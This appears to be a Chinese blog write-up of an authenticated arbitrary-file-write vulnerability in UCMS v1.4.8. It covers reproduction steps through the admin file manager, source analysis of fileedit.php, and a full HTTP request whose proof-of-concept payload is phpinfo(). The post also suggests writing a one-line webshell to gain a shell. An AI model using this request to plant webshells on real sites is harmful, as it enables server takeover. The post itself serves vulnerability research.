有讲的不对的地方,请表哥们提出来!

环境搭建

PHP7.0.12

Apache/2.4.23

Mysql 5.5.5.3

UCMS版本v.1.4.8


触发漏洞前提要求:

以超级管理员用户登录到后台


漏洞复现:

1.png

以超级管理员用户登录到后台,点击文件管理关键文件xigua.php

2.png

编辑刚才创建的xigua.php文件,输入php测试语句,点击保存。

3.png

因为我们是在网站根目录下创建的xigua.php文件,直接访问http://192.168.30.128/xigua.php,已经成功解析,我们同样可以直接在编辑文件中写入一句话木马,进行getshell。

3.png


源码分析:

通过数据请求包可以确认fileedit进行全局搜索,找到fopen函数,可以看到代码中没有对写入的文件格式进行任何过滤,url要满足do=sadmin_fileedit&dir=路径&file=文件名,POST['co']。

4.png

!defined检测定义的全局变量admin是否存在,不存在直接拒绝请求。

5.png

存在漏洞的代码在fileedit.php文件中,当满足上述要求时,就可以触发此漏洞了,具体的请看下面的请求包

POST /ucms/?do=sadmin_fileedit&dir=/ceshi/&file=1.php HTTP/1.1
Host: 192.168.30.128
Content-Length: 61
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.30.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.30.128/ucms/?do=sadmin_fileedit&dir=/ceshi/&file=1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_ba794d=admin; psw_ba794d=f20bd2625e3f863e394dfbba3891dc47; token_ba794d=f49615dd
Connection: close

uuu_token=f49615dd&co=%3C%3Fphp+phpinfo%28%29%3B%3F%3E&pos=16
最后修改:2021 年 10 月 07 日 07 : 40 PM
如果觉得我的文章对你有用,请随意赞赏